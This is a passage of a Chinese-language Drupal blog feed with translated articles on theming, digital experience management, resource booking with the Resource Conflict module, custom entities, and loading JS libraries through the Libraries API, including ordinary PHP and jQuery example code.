&lt;li&gt;&lt;p&gt;Logo和截图对主题的功能是完全没有影响的，不过推荐提供，尤其是在想要把你的主题&lt;a href=&#34;https://www.drupal.org/node/14208&#34; target=&#34;_blank&#34;&gt;贡献到Drupal仓库&lt;/a&gt;的时候。在主题管理页面，用户帐号中的主题选择页面都能看到截屏。可以在&lt;a href=&#34;https://www.drupal.org/node/11637&#34; target=&#34;_blank&#34;&gt;主题截图指南&lt;/a&gt;中获得更多相关信息。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;如果你希望在一个核心主题的基础之上工作，可以使用&lt;a href=&#34;https://www.drupal.org/node/225125&#34; target=&#34;_blank&#34;&gt;子主题&lt;/a&gt;，或者拷贝一个主题并进行重命名。Bartik、 Garland或者Minnelli这几个主题在安装或者升级的过程中会用到，直接对这些主题进行修改是应该严格禁止的。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;一个非核心或修改过的核心主题应该安装到&amp;rdquo;sites/all/themes&amp;rdquo;目录来同核心主题区分开来。如果你计划运行多站点模式，可以让主题仅对某个指定站点可用，&lt;a href=&#34;https://www.drupal.org/node/43816&#34; target=&#34;_blank&#34;&gt;《多站点安装》&lt;/a&gt;讲解了更多的这方面的内容。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Drupal 6中&lt;a href=&#34;https://api.drupal.org/api/drupal/modules%21system%21page.tpl.php/6&#34; target=&#34;_blank&#34;&gt;page.tpl.php&lt;/a&gt;包含了完整的html结构，在Drupal 7中引入了&lt;a href=&#34;https://api.drupal.org/api/drupal/modules!system!html.tpl.php/7&#34; target=&#34;_blank&#34;&gt;html.tpl.php&lt;/a&gt;。缺省情况下，这些文件保存在/modules/system目录中，要覆盖或改变这些内容仅需把这些文件拷贝到自定义主题目录下即可。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>从内容管理到数字化体验管理</title>
      <link>/post/cms-to-digital-ex/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/cms-to-digital-ex/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://dri.es/from-content-management-to-digital-experience-management&#34; target=&#34;_blank&#34;&gt;From content management to digital experience management&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://drupal.org/&#34; target=&#34;_blank&#34;&gt;Drupal&lt;/a&gt; 刚过了第十三个生日！我很荣幸的陪伴 Drupal 这样一个从业余爱好起步的小项目，一路坎坷前行。Drupal 社区在充满了爱和激情的大量付出中逐步成长。&lt;/p&gt;

&lt;p&gt;Drupal 的生日给了我们一个回顾和反思的契机。当然，多年以来的积累，有太多的事情可供思考，本文仅从宏观的角度，来阐述对市场的分析——也就是说，本文主要从业务而非技术视角出发。&lt;/p&gt;

&lt;h2 id=&#34;从-web-到数字化&#34;&gt;从 Web 到数字化&lt;/h2&gt;

&lt;p&gt;Drupal 的诞生源于我对Web的浓厚兴趣。今天，他已经成为很多组织的IT基础设施的一部分。对多数机构来说，一个网站或移动应用，是业务运行的重要组成部分，这一重要性还在逐步提高。随着移动和社交媒体的兴起，我们不再只是谈论“网站”或“网站应用”，而是“数字化体验”。为浏览者或顾客提供最佳的数字化体验，已经从“选修课”变成了“必修课”。&lt;/p&gt;

&lt;h2 id=&#34;从内容到体验&#34;&gt;从内容到体验&lt;/h2&gt;

&lt;p&gt;对 Acquia 来说，2013 年的制胜之道就是：创建高质量的内容，吸引更多流量，对大多数机构来说也是这样，高质量，有价值的内容的重要性毋庸质疑。五年前这意味着，如果你在开展一项业务，而没有一个博客，你最好马上开通。而今天，只靠创建页面或一个网站是不够的了，人们要创建内容，管理内容，在多个渠道重用内容，以不同形式展现给更多不同的最终用户；接下来还要跟踪和衡量内容的效益，并尽可能的为不同最终用户进行内容优化。内容非常重要，但是用*正确的格式*，在*正确的时机*，为*正确的用户*提供*正确的内容*，更能点石成金。仅仅发布内容是不够的，为浏览者在时间维度进行完整的体验管理才是现今的要求。&lt;/p&gt;

&lt;h2 id=&#34;从移动到上下文&#34;&gt;从移动到上下文&lt;/h2&gt;

&lt;p&gt;在过去的五年中，“移动”重新定义了互联网，在下一个五年中，“上下文”将再次改变互联网（乔教主你好）。Drupal 的下一次的机遇和挑战，不仅仅在于让内容发布者为浏览者在他们首选的终端和语言中获取内容，更在于为每个用户提供最接近需求的内容。&lt;/p&gt;

&lt;h2 id=&#34;数字化体验平台&#34;&gt;数字化体验平台&lt;/h2&gt;

&lt;p&gt;内容管理系统（CMS）已经进化到了用于管理复杂的，上下文相关的数字化体验的技术平台。管理访问者的互动是一个复杂的问题，需要很多工具来解决。例如想要提供最佳的移动体验，需要很多方法和技术的支撑，从响应式设计到原生应用，平衡浏览器兼容性，JS/PHP 库的取舍等等。要创建最好的个人数字化体验也同样包含这样的过程，从在 Drupal 中创建一系列的 API 和能力，到（将这些 API 和能力）集成到其他工具中。&lt;/p&gt;

&lt;p&gt;对于Drupal社区来说，我们应该把视角从“内容管理平台”转换到&amp;rdquo;数字化体验管理平台&amp;rdquo;，目标在于为访问者提供理想的体验。这意味着发布出来的内容可以轻松的在不同的设备上浏览，站点内容能够轻松的集成到其他工具，例如社交媒体网站或客户管理系统，以及邮件和行动管理系统等。我们在这方面曾经努力了很多年，这并不妨碍我们认清趋势，在这一方向投入重注。&lt;/p&gt;

&lt;p&gt;读者可能听我谈过Web体验管理（WEM），但是我们应该在这一基础上更上层楼，因为 “Web” 这一单词无法涵盖 Drupal 的所有内容，他可能是网站、移动设备、游戏主机、可穿戴设备或其他的什么东西。&lt;/p&gt;

&lt;p&gt;为了提供理想的客户体验，首要工作是要为内容开发工作提供更好的界面，能将内容分发到多种设备和渠道中；其次是为不同的用户进行定制展现。CMS 要向着这个方向前进，并且促使内容创建者们在创建内容之外，还要对于内容的*分发格式*，*分发时机*，*分发格式*以及*目标用户*进行决策。随着时间的迁移，这一决策过程会逐渐向着数据驱动、自动化的方向演进，越来越摆脱人工决策。&lt;/p&gt;

&lt;h3 id=&#34;2000-年的-cms&#34;&gt;2000 年的 CMS&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;静态内容&lt;/li&gt;
&lt;li&gt;内容和设计分离&lt;/li&gt;
&lt;li&gt;动态 GIF&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;2005-年的-cms&#34;&gt;2005 年的 CMS&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;所见即所得的编辑&lt;/li&gt;
&lt;li&gt;动态内容&lt;/li&gt;
&lt;li&gt;发布工作流&lt;/li&gt;
&lt;li&gt;用户自产生内容&lt;/li&gt;
&lt;li&gt;模块化架构&lt;/li&gt;
&lt;li&gt;搜索&lt;/li&gt;
&lt;li&gt;Syndication（这里我理解是内容的转载和订阅？）&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;2010年的-cms&#34;&gt;2010年的 CMS&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;社交媒体集成&lt;/li&gt;
&lt;li&gt;所见即所得的页面设计&lt;/li&gt;
&lt;li&gt;协同工具&lt;/li&gt;
&lt;li&gt;富媒体集成&lt;/li&gt;
&lt;li&gt;潜在客户开发工具（&lt;a href=&#34;http://en.wikipedia.org/wiki/Lead_generation&#34; target=&#34;_blank&#34;&gt;Wiki 页&lt;/a&gt; &amp;ndash;译者注）&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;2015年的cms&#34;&gt;2015年的CMS&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;客户智能（&lt;a href=&#34;http://en.wikipedia.org/wiki/Customer_intelligence&#34; target=&#34;_blank&#34;&gt;Wiki 页&lt;/a&gt; &amp;ndash;译者注）&lt;/li&gt;
&lt;li&gt;上下文感知&lt;/li&gt;
&lt;li&gt;多设备适配&lt;/li&gt;
&lt;li&gt;服务就绪/API&lt;/li&gt;
&lt;li&gt;多站点平台管理&lt;/li&gt;
&lt;li&gt;PaaS/SaaS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;极少有 CMS 的市场份额有了提升，2014 年这一行业将持续整合。多数 CMS 开始淡出，这并不意外，因为 CMS 越来越复杂了。一个 CMS 要活下去，必须要跟紧 Internet 前进的脚步，并保持内在的一致性。具有优良社区传统的开源的 CMS 在这场竞赛中具有显而易见的又是。Drupal 的最大挑战在于，从现有的用户模式跳出来，让不同的用户做各自或复杂、或简单的千差万别的业务。这也是我为什么对就地编辑功能，普通可用性以及开发体验如此投入的原因。我们将在 2014 以及将来都会坚持这一方向。&lt;/p&gt;

&lt;p&gt;很长时间以来，对于 Drupal 在大型的复杂网站上的应用有很多误解。分析师，技术决策者以及一些竞争对手例如 Sitecore和 Adobe 声称，Drupal 对于简单小站是非常好的，但是对于企业的负载和功能方面是比较难于满足的。只要看看通用电气，白宫，MSNBC 以及很多其他 Drupal 为基础的网站就知道他们对不对了。Drupal 8 将领先站在&amp;rdquo;数字化体验管理&amp;rdquo;的潮头之上，进一步巩固 Drupal 的地位，从移动设备支持，到编辑体验提升、API 以及结构化内容增强等。&lt;/p&gt;

&lt;p&gt;过去13年中，我们经历了很多。我对于我们的社区为 Internet 作出的贡献极为自豪。然而将来的日子里，我们还有很多工作，像水滴（Drupal Logo &amp;ndash; 译者注）一样持续运动下去。Drupal 8 将继续推进 Web 内容发布和数字化体验管理。为众多用户和不同规模的机构，而不只是为那些能够向软件供应商付出百万英镑获得授权的用户，提供如此杰出的工具，使我们倍感荣耀。生日快乐，Drupal！&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>使用 Resource Conflict 模块预订资源</title>
      <link>/post/book-resource-with-resource-confilict/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/book-resource-with-resource-confilict/</guid>
      <description>

&lt;p&gt;本文将帮助你使用 &lt;a href=&#34;http://drupal.org/project/resource_conflict&#34; target=&#34;_blank&#34;&gt;Resource Conflict 模块&lt;/a&gt;设置一个预订内容类型，借助这一类型来实现对资源的预订。&lt;/p&gt;

&lt;h2 id=&#34;内容类型设置&#34;&gt;内容类型设置&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;创建一个叫做 Resource 的内容类型。这一类型代表了任何可被预订的资源，例如一间房，一本书等。&lt;/li&gt;
&lt;li&gt;再创建一个叫做 Reservation 的内容类型。&lt;/li&gt;
&lt;li&gt;添加一个日期字段，字段需要定义截止日期为必填项。这个模块只能对这种日期字段工作。日期字段类型可以使用日期，ISO或者Unix类型。&lt;/li&gt;
&lt;li&gt;添加一个 &lt;a href=&#34;https://drupal.org/project/entityreference&#34; target=&#34;_blank&#34;&gt;Entity Reference&lt;/a&gt; 或者 &lt;a href=&#34;https://drupal.org/project/references&#34; target=&#34;_blank&#34;&gt;References&lt;/a&gt; 字段，让用户可以选择资源。&lt;/li&gt;
&lt;li&gt;在内容类型建立后，编辑他，并浏览 Resource Confilict 的 Tab，选择刚建立的日期字段，启用冲突检测。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这个模块自带一个缺省的规则，这个规则会检查所有的激活冲突检测的 Node。在我们的例子中，我们希望把检测行为限制在 Reservation 类型的 Node 中，来防止重复预订。所以我们要创建一个新的规则。&lt;/p&gt;

&lt;h2 id=&#34;创建规则&#34;&gt;创建规则&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;创建一个新的规则，被 &lt;code&gt;A resource conflict node form is validated&lt;/code&gt;（一个资源冲突 Node Form 完成验证）触发。当一个具有资源冲突检测的内容类型中的一个Node在进行校验时，就会触发这个事件。在这里尚未完成冲突检测。&lt;/li&gt;
&lt;li&gt;创建一个条件：&lt;code&gt;Contains a resource conflict&lt;/code&gt;（包含一个资源冲突）。这个条件会根据日期字段进行冲突检查。&lt;/li&gt;
&lt;li&gt;新建一个动作： &lt;code&gt;Load a list of conflicting nodes&lt;/code&gt;（载入一个冲突 Node 列表）。被检测到冲突的 Node 会以列表的形式传递给规则，这样就可以通过循环来处理这些 Node。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;现在我们需要定制规则的行为，限制结果集为已经被预定的资源。我们需要把触发规则的未保存Node和冲突列表中的成员进行比较。要达到这一目的，我们需要创建一个规则组件。&lt;/p&gt;

&lt;h3 id=&#34;规则组件&#34;&gt;规则组件&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;点击右上角的组件 Tab，创建一个新组件。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;condition plugin&lt;/code&gt;，选择 &lt;code&gt;Rule&lt;/code&gt;。这意味着我们需要创建一个小规则。这里的规则无需被事件触发。这里我们会手工调用它，并为其传递参数。&lt;/li&gt;
&lt;li&gt;好像我们编写PHP函数一样，我们也需要为这一组件定义参数：&lt;/li&gt;
&lt;li&gt;数据类型：&lt;code&gt;node&lt;/code&gt;，标签：&lt;code&gt;Unsaved Reservation&lt;/code&gt;，机读名称：&lt;code&gt;unsaved_reservation&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;数据类型：&lt;code&gt;node&lt;/code&gt;，标签：&lt;code&gt;Conflicting Reservation&lt;/code&gt;，机读名称：&lt;code&gt;conflicting_reservation&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;接下来我们为这个规则组件添加三个条件。其中两个用来把引用字段中的实体载入规则，第三个用于比较两个值是否相等：&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entity has Field&lt;/strong&gt;，选择 &lt;code&gt;unsaved-reservation&lt;/code&gt; 进行进一步的选择。在列表中选择资源实体引用字段。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entity has Field&lt;/strong&gt;，选择 &lt;code&gt;conflicting-reservation&lt;/code&gt; 进行进一步的选择。在列表中选择资源实体引用字段。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Comparison&lt;/strong&gt;，选择 &lt;code&gt;unsaved-reservation:field-resource&lt;/code&gt; 作为数据选择器。在下一步中，操作符选择 &lt;code&gt;equals&lt;/code&gt;，在第二个比较项目中选择 &lt;code&gt;conflicting-reservation:field-resource&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;现在加入一个动作 &lt;code&gt;Set a form validation error&lt;/code&gt;（设置 Form 校验错误）。这个动作会在每个预订冲突时执行，并在 Node 提交过程中弹出信息，阻止 Form 提交。记得输入具体信息，例如“同现有预订冲突：&lt;a href=&#34;https://www.drupal.org/node/url]&#34; target=&#34;_blank&#34;&gt;conflicting-reservation:title&lt;/a&gt;”。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这样就创建好了规则组件，我们回到上一个规则的界面。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;在动作中添加一个新的 loop，使用 &lt;code&gt;conflict-list&lt;/code&gt; 作为数据选择器，规则会循环处理每个冲突的预订。&lt;/li&gt;
&lt;li&gt;点击新加入的loop旁边的&amp;rdquo;Add Action&amp;rdquo;按钮。在列表中选择刚创建的规则组件。&lt;/li&gt;
&lt;li&gt;为新建的组件选择两个参数。第一个 (unsaved-reservation)，使用 &lt;code&gt;node&lt;/code&gt; 作为数据选择器，这里选择的是触发了该事件的 Node。第二个参数传入&lt;code&gt;list-item&lt;/code&gt;，这个参数是循环处理列表中的一项。（注意，这个循环是基于列表执行的。）&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;完成&#34;&gt;完成&lt;/h2&gt;

&lt;p&gt;完成上述步骤之后，可以尝试创建两个冲突的预订，看看会不会出错。&lt;/p&gt;

&lt;p&gt;你也可以修改这些规则，例如对结果列表进行进一步过滤。&lt;/p&gt;

&lt;p&gt;如果你以前从来没有使用过Rules，那么这部分看起来可能比较复杂。希望上面的描述足够清晰。如果上面的内容无法工作，可以在问题队列中&lt;a href=&#34;https://drupal.org/node/add/project-issue/resource_conflict&#34; target=&#34;_blank&#34;&gt;加入一个支持请求&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;性能&#34;&gt;性能&lt;/h2&gt;

&lt;p&gt;我们看到，这个模块会把所有Node载入进行冲突检测，然后才是限制结果数量。然而如果你有几百几千个可能冲突的Node，那么就会发生性能问题。&lt;/p&gt;

&lt;p&gt;可以通过修改模块查询冲突的方式来增强性能。这个查询的标记是 &lt;code&gt;resource_conflict&lt;/code&gt;，所以可使用 &lt;a href=&#34;https://api.drupal.org/api/drupal/modules%21system%21system.api.php/function/hook_query_alter/7&#34; target=&#34;_blank&#34;&gt;hook_query_alter&lt;/a&gt; 来加入自己的条件和链接。&lt;/p&gt;

&lt;h2 id=&#34;rules-forms-support&#34;&gt;Rules Forms Support&lt;/h2&gt;

&lt;p&gt;如果启用了 &lt;a href=&#34;http://drupal.org/project/rules_forms&#34; target=&#34;_blank&#34;&gt;Rules Forms Support&lt;/a&gt;，这个模块会把 Form 传递给任何触发了 &lt;code&gt;A resource conflict was detected&lt;/code&gt; 事件的规则。这将会把 Node 提交 Form 暴露给规则，从而可以使用Rules Forms Support 提供的处理 Form 的各种手段。&lt;/p&gt;

&lt;p&gt;例如，可以不再使用 Form 验证错误信息，而用该模块提供的类似动作来代替，这样你可以更好的处理资源冲突。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>使用定制Entity的时机和动机</title>
      <link>/post/when-to-create-new-entity/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/when-to-create-new-entity/</guid>
      <description>&lt;p&gt;##介绍&lt;/p&gt;

&lt;p&gt;Drupal 7开始出现了Entity，这一改进大大的提高了Drupal模块的数据建模能力。在这之前，Drupal是一个为文章设计的数据结构，我们的方案和数据建模只能在这个基础上修修补补。&lt;/p&gt;

&lt;p&gt;然而，在我们已经习惯于利用内容类型和字段解决所有的数据模型问题的情况下，向Entity迁移也的确不是一个轻而易举的事情。&lt;/p&gt;

&lt;p&gt;##Entity需要一些时间和经验&lt;/p&gt;

&lt;p&gt;如果你没有很多时间，也没有直接面对Entity API的经验，而手上的项目又逼近Deadline，那么这不是一个开始Entity的好时机，Entity的学习曲线也是颇为陡峭的。&lt;/p&gt;

&lt;p&gt;利用 &lt;a href=&#34;https://drupal.org/project/eck&#34; target=&#34;_blank&#34;&gt;Entity construction kit(ECK)&lt;/a&gt;可能可以简化这一学习过程，这个模块提供了一个Entity的管理界面，尽管如此，要获得Entity的好处，还是需要一些开发工作的。ECK支持Features，能够把一个自定义Entity导出成为代码化配置，并且封装成为一个现成的模块形式。&lt;/p&gt;

&lt;p&gt;尽管受限于实际情况，你可能不能立即投入Entity的怀抱之中，不过尽早投入时间来学习Entity还是值得的。&lt;/p&gt;

&lt;p&gt;##Entity是什么&lt;/p&gt;

&lt;p&gt;如果你想要建模的对象是某种类型，具体的内容可以通过一个唯一的URL来访问和查看，那么这几乎一定应该用Node而不是Entity来完成，例如一种新的文章类型。&lt;/p&gt;

&lt;p&gt;另一个极端是，如果你面对的对象是纯粹的数据，他可能在展现之前首先要进行一些处理，或者仅作为页面的一部分而出现。一个例子就是Web版的接机大屏幕中显示的出港进港数据。&lt;/p&gt;

&lt;p&gt;但是实际情况是，多数问题都不会是这种极端情况，可以借助在其他的框架下的经验来判断，是否使用定制Entity。&lt;/p&gt;

&lt;p&gt;一些参考指标：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;相对来说，存活期越短的东西越可能用定制Entity。（真心不懂，原文：Relatively short lived things are more likely to be custom entities than long-lived things (which may have a web presence)）&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;包含用于获取其他数据或者内容的元数据，比如一个用于获取存储在云服务上的视频的元数据，用定制Entity实现可能比较好。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;不可见数据，例如从第三方API获取的一些数据，这些数据可能被其他的代码使用，但是通常是不会在同一个请求中立即使用，这种状况也是比较适合使用自定义Entity。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;仅作为其他显示的一部分的内容也建议使用自定义Entity。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;##性能和确定性&lt;/p&gt;

&lt;p&gt;如果你拥有一个大型的复杂的站点，这一站点有很多不同事物需要被建模，如果全部使用Node实现，这导致一个后果：即使没有需要，Node相关的Hook也会影响所有这些内容。这也会导致对Node的管理工作臃肿复杂。&lt;/p&gt;

&lt;p&gt;另外，Node的版本化特性也消耗了更多的性能。&lt;/p&gt;

&lt;p&gt;甚至有些模型连Field都不需要，他们的属性仅使用Entity属性就能完成，无需数据库JOIN就能完成工作。（讽刺的是，起初，我们想要所有东西都能Field，现在，我们又发现，有时需要干掉Field）。&lt;/p&gt;

&lt;p&gt;所以有时对Entity的合理使用能够让站点变得简洁，并提供更大的性能潜力。&lt;/p&gt;

&lt;p&gt;##迎接即将到来的Drupal 8&lt;/p&gt;

&lt;p&gt;貌似Drupal 8还要很长时间才能面世，然而该来的总会来，未雨绸缪是必要的。使用Drupal 7核心以及Entity API模块中的API，具有大量的例子和线上资源，也能让你有个较好的升级基础。&lt;/p&gt;

&lt;p&gt;##其他Entity模块的助力&lt;/p&gt;

&lt;p&gt;有大量的模块使用Entity API提供服务，使用Entity就让你可以通过Entity API使用其他模块的功能，例如可以利用&lt;a href=&#34;https://drupal.org/project/entitycache&#34; target=&#34;_blank&#34;&gt;Entity cache&lt;/a&gt;模块实现缓存。&lt;/p&gt;

&lt;p&gt;##继续作恶？&lt;/p&gt;

&lt;p&gt;可能你已经认识到，你现在的站点上的数据模型丑恶如斯，那么是时候从技术债中拯救你自己以及你的继任者了。一个Entity的反模式：分类词是核心成员之一，能够挂接Field，又具有管理页面，这种种优势导致他被过度使用，甚至在根本同分类无关的场景之中也牵强使用分类词。&lt;/p&gt;

&lt;p&gt;这种情况在从Drupal 6中升级过来的Drupal 7站点中尤其常见。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>利用 Libraries API 向 Drupal 项目中添加JS库</title>
      <link>/post/add-js-into-drupal-with-libraries-module/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/add-js-into-drupal-with-libraries-module/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://atendesigngroup.com/blog/adding-js-libraries-drupal-project-libraries-api&#34; target=&#34;_blank&#34;&gt;Adding JS libraries to a Drupal project with Libraries API&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作为一个前端开发者，我经常需要为了前端的一些需求向项目中加入 JavaScript 库。在 Drupal 中，有很多种方式来完成这一任务，最近我开始注意到一个模块：&lt;a href=&#34;https://drupal.org/project/libraries&#34; target=&#34;_blank&#34;&gt;Libraries API&lt;/a&gt;，它为 Drupal 开发者提供了一个稳定的方法来添加各种库。&lt;/p&gt;

&lt;p&gt;一个 Library 是一组代码，通常是 CSS 和 JS，有时候也会是一组 PHP，或者一些其他什么东西。一般来说，这些库并不是为 Drupal 设计的。&lt;/p&gt;

&lt;p&gt;过去，我直接把 JS 库加入到我的主题之中，接下来使用 &lt;code&gt;drupal_add_js()&lt;/code&gt; 把 JS 加入到页面。这意味着这个库同主题被绑定在一起。如果我想要在模块中使用这个库，我必须要知道这个主题的名字——用 &lt;code&gt;drupal_get_path()&lt;/code&gt;。这很明显是个混蛋办法，他基本上断绝了模块化和代码复用的可能性。&lt;/p&gt;

&lt;p&gt;另一个添加 JS 库的方法就是使用模块进行加载。这种方法的不足在于，JS 库常需要通过 Drupal UI 来配置，配置能力有时会影响库的能力，同步更新也不容易保证。在多数情况下，这种方式可以使用 Libraries API 来实现。&lt;/p&gt;

&lt;p&gt;使用这个库是很容易的。当然，最好是阅读一下&lt;a href=&#34;https://drupal.org/node/1342238&#34; target=&#34;_blank&#34;&gt;完整的文档&lt;/a&gt;，不过想随便试试，只要几行代码就能搞定。&lt;/p&gt;

&lt;h2 id=&#34;快速入门&#34;&gt;快速入门&lt;/h2&gt;

&lt;h3 id=&#34;安装-libraries-api&#34;&gt;安装 Libraries API&lt;/h3&gt;

&lt;p&gt;如果你在使用&lt;a href=&#34;https://drupal.org/project/drush&#34; target=&#34;_blank&#34;&gt;Drush&lt;/a&gt;，那么很简单了：&lt;/p&gt;

&lt;p&gt;$ drush dl libraries&lt;/p&gt;

&lt;p&gt;下一步，建立一个目录 &lt;code&gt;sites/all/libraries&lt;/code&gt;。如果你没有使用Drush，那么在&lt;a href=&#34;drupal.org/project/libraries&#34; target=&#34;_blank&#34;&gt;官方网站&lt;/a&gt;进行下载安装即可。&lt;/p&gt;

&lt;h3 id=&#34;向-sites-all-libraries-中添加库&#34;&gt;向&lt;code&gt;sites/all/libraries&lt;/code&gt;中添加库&lt;/h3&gt;

&lt;p&gt;下载一个库，然后把他添加到 &lt;code&gt;sites/all/libraries&lt;/code&gt; 目录中。例如，我在使用 &lt;a href=&#34;http://flexslider.woothemes.com/&#34; target=&#34;_blank&#34;&gt;FlexSlider&lt;/a&gt;，用来在我的项目中实现幻灯片效果。要添加这个库，我下载了 flexslider，然后把它加入我的drupal项目的 &lt;code&gt;sites/all/libraries/flexslider&lt;/code&gt; 中。&lt;/p&gt;

&lt;h3 id=&#34;创建一个小模块-让-libraries-api-了解这个库&#34;&gt;创建一个小模块，让 Libraries API 了解这个库&lt;/h3&gt;

&lt;p&gt;在一个自定义模块中，使用 &lt;a href=&#34;http://drupalcontrib.org/api/drupal/contributions!libraries!libraries.api.php/function/hook_libraries_info/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;hook_libraries_info&lt;/code&gt;&lt;/a&gt; 来启用这个库。一个库被注册之后，他就可以被其他模块或主题使用了。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;/**
  * Implements hook_libraries_info().
  */
function MYMODULE_libraries_info() {
  $libraries = array();
  $libraries[&#39;flexslider&#39;] = array(
    &#39;name&#39; =&amp;gt; &#39;FlexSlider&#39;,
    &#39;vendor url&#39; =&amp;gt; &#39;http://flexslider.woothemes.com/&#39;,
    &#39;download url&#39; =&amp;gt; &#39;https://github.com/woothemes/FlexSlider/zipball/master&#39;,
    &#39;version arguments&#39; =&amp;gt; array(
      &#39;file&#39; =&amp;gt; &#39;jquery.flexslider-min.js&#39;,
      // jQuery FlexSlider v2.1
      &#39;pattern&#39; =&amp;gt; &#39;/jQuery FlexSlider v(\d+\.+\d+)/&#39;,
      &#39;lines&#39; =&amp;gt; 2,
    ),
    &#39;files&#39; =&amp;gt; array(
      &#39;js&#39; =&amp;gt; array(
        &#39;jquery.flexslider-min.js&#39;,
      ),
    ),
  );

  return $libraries;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个过程有个心得就是，提供一个版本参数或者实现版本回调是很有必要的。&lt;code&gt;hook_libraries_info()&lt;/code&gt; 的文档中提到，这两个都是可选的项目，不过至少要提供一个，否则该库无法被载入。如果对版本的事情不太在意，可以使用一个替身方法来实现  version 回调：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;/**
* Implements hook_libraries_info().
*/
function MYMODULE_libraries_info() {
  $libraries = array();
  $libraries[&#39;my_library&#39;] = array(
    // Etc etc.
    &#39;version callback&#39; =&amp;gt; &#39;short_circuit_version&#39;,
  );

  return $libraries;
}

/**
* Short-circuit the version argument.
*/
function short_circuit_version() {
  return TRUE;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;在页面中调用新引入的库&#34;&gt;在页面中调用新引入的库&lt;/h3&gt;

&lt;p&gt;在这个例子中，我想要在一个特定的 View 中载入 FlexSlider。所以这里我们实现一个 Views 的 Hook。注意这里如何把 Hook 到指定的 Views:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;/**
  * Implements hook_preprocess_views_view().
  */
function MYTHEME_preprocess_views_view(&amp;amp;$vars) {

  // 去掉注释，查看可用的变量
  // This requires http://drupal.org/project/devel to be installed.
  // dpm($vars[&#39;view&#39;]-&amp;gt;name, &#39;view name&#39;);

  // 根据View ID调用指定方法
  if (isset($vars[&#39;view&#39;]-&amp;gt;name)) {
    $function = &#39;preprocess_views_view__&#39; . $vars[&#39;view&#39;]-&amp;gt;name;
    if (function_exists($function)) {
      $function($vars);
    }
  }
}

/**
  * Implements preprocess_views_view__VIEW().
  */
function preprocess_views_view__YOURHOOK(&amp;amp;$vars) {
  $display_id = $vars[&#39;display_id&#39;];
  $classes = &amp;amp;$vars[&#39;classes_array&#39;];
  $title_classes = &amp;amp;$vars[&#39;title_attributes_array&#39;][&#39;class&#39;];
  $content_classes = &amp;amp;$vars[&#39;content_attributes_array&#39;][&#39;class&#39;];

  // Uncomment the lines below to see variables you can use to target a view.
  // This requires http://drupal.org/project/devel to be installed.
  // dpm($vars[&#39;view&#39;]-&amp;gt;name, &#39;view name&#39;);

  switch ($display_id) {

    // 载入FlexSlider库
    case &#39;page&#39;:
      libraries_load(&#39;flexslider&#39;);
      break;
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;使用&#34;&gt;使用&lt;/h3&gt;

&lt;p&gt;现在 FlexSlider 已经载入，就可以在这个 View 中使用了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-js&#34;&gt;(function ($) {
  $(window).load(function() {

    $(&#39;.slideshow&#39;).flexslider({
      animation: &amp;quot;slide&amp;quot;,
      controlNav: false,
      namespace: &#39;slide-&#39;,
      selector: &#39;.slide-list &amp;gt; .slide-list-item&#39;
    });

  }); // end window.load
})(jQuery);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;你可以看到，Libraries API 提供了一种便捷的方式来进行 JavaScript 管理。&lt;/p&gt;

&lt;p&gt;译者按：&lt;/p&gt;

